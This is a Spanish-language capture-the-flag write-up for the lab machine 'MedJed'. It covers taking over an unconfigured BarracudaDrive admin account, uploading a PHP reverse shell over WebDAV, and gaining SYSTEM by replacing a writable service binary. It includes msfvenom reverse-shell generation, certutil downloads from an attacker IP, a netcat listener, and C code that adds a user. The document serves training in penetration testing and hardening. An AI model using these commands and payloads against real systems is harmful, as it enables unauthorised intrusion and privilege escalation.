MedJed
La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.
TL;DR. MedJed corre BarracudaDrive 6.5 en el 8000 con la cuenta de administrador sin configurar, así que la creamos nosotros. Unphpinfo.phpexpuesto en el 45443 nos revela el document root (C:\xampp\htdocs), y por WebDAV subimos una webshell PHP a esa carpeta, que Apache ejecuta (subida por WebDAV): shell comojerren. El serviciobdde BarracudaDrive corre como LocalSystem y su carpetaC:\bdes escribible por usuarios normales, así que reemplazamos el binario del servicio y, al reiniciar, ejecuta nuestro código como SYSTEM (permisos inseguros de servicio).
Reconocimiento
Escaneo inicial
TTL 125 → Windows: Windows inicia el TTL en 128 y cada salto de routing lo decrementa, así que 125 = 128−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. El barrido devuelve muchos puertos; los relevantes son un BarracudaServer, dos Apache PHP y un FileZilla:
ping -c 1 192.168.230.127
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.230.127PORT STATE SERVICE
445/tcp open microsoft-ds
3306/tcp open mysql
8000/tcp open http-alt
30021/tcp open ftp
45332/tcp open http
45443/tcp open httpnmap -p135,139,445,3306,5040,8000,30021,33033,44330,45332,45443 -sCV 192.168.230.127 -oN targetedScanPORT STATE SERVICE VERSION
445/tcp open microsoft-ds
3306/tcp open mysql MariaDB 10.3.24 or later (unauthorized)
8000/tcp open http-alt BarracudaServer.com (Windows)
30021/tcp open ftp FileZilla ftpd 0.9.41 beta
45332/tcp open http Apache httpd 2.4.46 (Win64) ... PHP/7.3.23
45443/tcp open http Apache httpd 2.4.46 (Win64) ... PHP/7.3.23El FTP (30021) permite login anónimo pero solo expone el código de una app Ruby de solo lectura, sin nada sensible. Los dos Apache sirven la misma "Quiz App". El BarracudaServer del 8000 anuncia WebDAV (PROPFIND, PUT, COPY, MKCOL...).
phpinfo.php - TCP 45443
dirsearch sobre el 45443 encuentra un phpinfo.php accesible. Además de confirmar la pila (Apache/PHP 7.3.23 sobre XAMPP), filtra un dato clave: el document root, C:\xampp\htdocs. Saber la ruta física de la web es lo que hará útil cualquier subida de fichero.

BarracudaDrive - TCP 8000
El 8000 aloja BarracudaDrive 6.5. Al abrirlo, el servidor está recién instalado y muestra el asistente de configuración: Set Administrator Account, pidiendo que definamos la cuenta de administrador. Como nadie la ha fijado, la creamos nosotros y quedamos como admin del servicio:

Explotación
BarracudaDrive: subida por WebDAV a RCE
Con sesión de administrador, el Web-File-Server de BarracudaDrive expone la unidad por WebDAV: el enlace /fs/ figura con acceso read-write.

Abriéndolo, el gestor de ficheros muestra la URL de sesión WebDAV exacta, http://192.168.230.127:8000/fs/0eaa48386977bdb8/, y las colecciones C y D (las unidades del sistema):

El punto de montaje /fs/<id>/ corresponde a la raíz de la unidad C:. Combinado con el document root que nos dio phpinfo (C:\xampp\htdocs), tenemos escritura de fichero donde Apache ejecuta PHP (subida por WebDAV). Como webshell usamos el PHP de Ivan Sincek de revshells.com:

Con cadaver navegamos hasta el document root y subimos ese rev.php:
cadaver http://192.168.230.127:8000/fs/0eaa48386977bdb8/
cd C
cd xampp/htdocs/
put rev.php
dav:/fs/0eaa48386977bdb8/> ls
Coll: C 0 Jan 1 1970
Coll: D 0 Jan 1 1970
dav:/fs/0eaa48386977bdb8/> cd C
dav:/fs/0eaa48386977bdb8/C/> cd xampp/htdocs/
dav:/fs/0eaa48386977bdb8/C/xampp/htdocs/> put rev.php
Uploading rev.php to `/fs/0eaa48386977bdb8/C/xampp/htdocs/rev.php':
Progress: [========================>] 100.0% of 9288 bytes succeeded.La subida funciona: el colección C es la unidad C:, así que rev.php queda en C:\xampp\htdocs\, justo donde Apache ejecuta PHP.
Al pedir rev.php por el Apache del 45443, el PHP se ejecuta y dispara una reverse shell:

La shell corre como medjed\jerren.
Local
type local.txt & whoami & hostname & ipconfig
9dfbd9cf11a3d0a9a4ecf6827c8542f1
medjed\jerrenEscalada de privilegios
Permisos inseguros del servicio bd
searchsploit sobre BarracudaDrive apunta a la EDB 48789 ("Insecure Folder Permissions"), que documenta exactamente este vector: el servicio bd corre como LocalSystem y su binario es reemplazable por un usuario normal.

BarracudaDrive se registra como el servicio bd. Revisamos sus permisos con cacls y su configuración con sc qc:
cacls C:\bd
cacls C:\bd\bd.exe
sc qc bd
C:\Users\Jerren\Desktop>cacls C:\bd\bd.exe
C:\bd\bd.exe BUILTIN\Administrators:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Users:(ID)R
NT AUTHORITY\Authenticated Users:(ID)C
C:\Users\Jerren\Desktop>sc qc bd
SERVICE_NAME: bd
BINARY_PATH_NAME : "C:\bd\bd.exe"
START_TYPE : 2 AUTO_START
SERVICE_START_NAME : LocalSystemLos dos hechos que arman el vector: Authenticated Users tiene C (Change) sobre bd.exe, y el servicio arranca solo (AUTO_START) como LocalSystem.
Dos hechos se combinan: la carpeta C:\bd y el binario bd.exe dan permiso de cambio (C) a Authenticated Users, y el servicio arranca automáticamente como LocalSystem. Es decir, cualquier usuario puede reemplazar el ejecutable que SYSTEM lanzará al arrancar (permisos inseguros de servicio).
Preparamos un bd.exe malicioso compilado desde un pequeño C (addAdmin.c, adaptado del PoC de la EDB) que añade un usuario, lanza nuestra rev.exe y, para no dejar el servicio roto, relanza el binario original renombrado con WinExec:
// addAdmin.c
#include <stdlib.h>
#include <windows.h>
int main() {
system("net user boku mypassword /add");
system("C:\\bd\\rev.exe");
WinExec("C:\\bd\\bd.service.exe", 0);
return 0;
}Lo compilamos con mingw, generamos la rev.exe con msfvenom y servimos ambos por HTTP:
# En Kali
i686-w64-mingw32-gcc addAdmin.c -l ws2_32 -o bd.exe
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.45.211 LPORT=4343 -f exe -o rev.exe
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
192.168.230.127 - - [26/Jan/2026 20:28:57] "GET /bd.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:28:57] "GET /bd.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:29:03] "GET /rev.exe HTTP/1.1" 200 -
192.168.230.127 - - [26/Jan/2026 20:29:03] "GET /rev.exe HTTP/1.1" 200 -
C:\bd>certutil.exe -f -urlcache -split http://192.168.45.211/bd.exe bd.exe
**** Online ****
000000 ...
019f1a
CertUtil: -URLCache command completed successfully.
C:\bd>certutil.exe -f -urlcache -split http://192.168.45.211/rev.exe
**** Online ****
0000 ...
1e00
CertUtil: -URLCache command completed successfully.Levantamos el nc que recibirá la conexión:
rlwrap nc -nlvp 4343En la víctima, renombramos el bd.exe legítimo, traemos los dos binarios con certutil a C:\bd y forzamos el reinicio:
move C:\bd\bd.exe C:\bd\bd.service.exe
certutil.exe -f -urlcache -split http://192.168.45.211/bd.exe bd.exe
certutil.exe -f -urlcache -split http://192.168.45.211/rev.exe rev.exe
shutdown /r /t 0Al reiniciar, el servicio bd ejecuta nuestro binario como SYSTEM y recibimos la shell:

# rlwrap nc -nlvp 4343
listening on [any] 4343 ...
connect to [192.168.45.211] from (UNKNOWN) [192.168.230.127] 49670
Microsoft Windows [Version 10.0.19042.1387]
C:\WINDOWS\system32>whoami
nt authority\systemAl reiniciar, el servicio bd lanza nuestro bd.exe con su token de LocalSystem: la reverse shell llega como nt authority\system.
Root
type proof.txt & whoami & ipconfig & hostname
9b06a914c5d91092a892b8101c4e45f3
nt authority\systemCadena de ataque
HTTP (45443) -- phpinfo.php -> document root C:\xampp\htdocs
HTTP (8000) -- BarracudaDrive 6.5 -> Set Administrator Account
│ WebDAV (cadaver) -> PUT rev.php en el document root
│ Apache ejecuta la webshell -> reverse shell
▼
jerren (local.txt)
│ servicio bd (LocalSystem) con C:\bd escribible
│ reemplazar bd.exe + reiniciar
▼
SYSTEM (proof.txt)Lecciones aprendidas
- Un servicio recién instalado es una invitación. BarracudaDrive mostraba el asistente para fijar el admin porque nadie lo había hecho; crear la cuenta nos dio el control. Los servicios expuestos deben configurarse antes de estar accesibles.
phpinfo.phpen producción regala el mapa. El document root convirtió una escritura por WebDAV en RCE: sin la ruta física, la subida habría sido a ciegas. Nunca dejarphpinfoaccesible.- La ruta más corta usa dos servicios distintos. El WebDAV escribía el fichero y el Apache lo ejecutaba; ninguno por separado daba RCE. Cruzar servicios es parte del oficio.
- Permisos de servicio flojos = SYSTEM. Que
Authenticated Userspudiera reescribir el binario de un servicio LocalSystem es escalada directa. Las carpetas y binarios de servicios deben ser escribibles solo por administradores.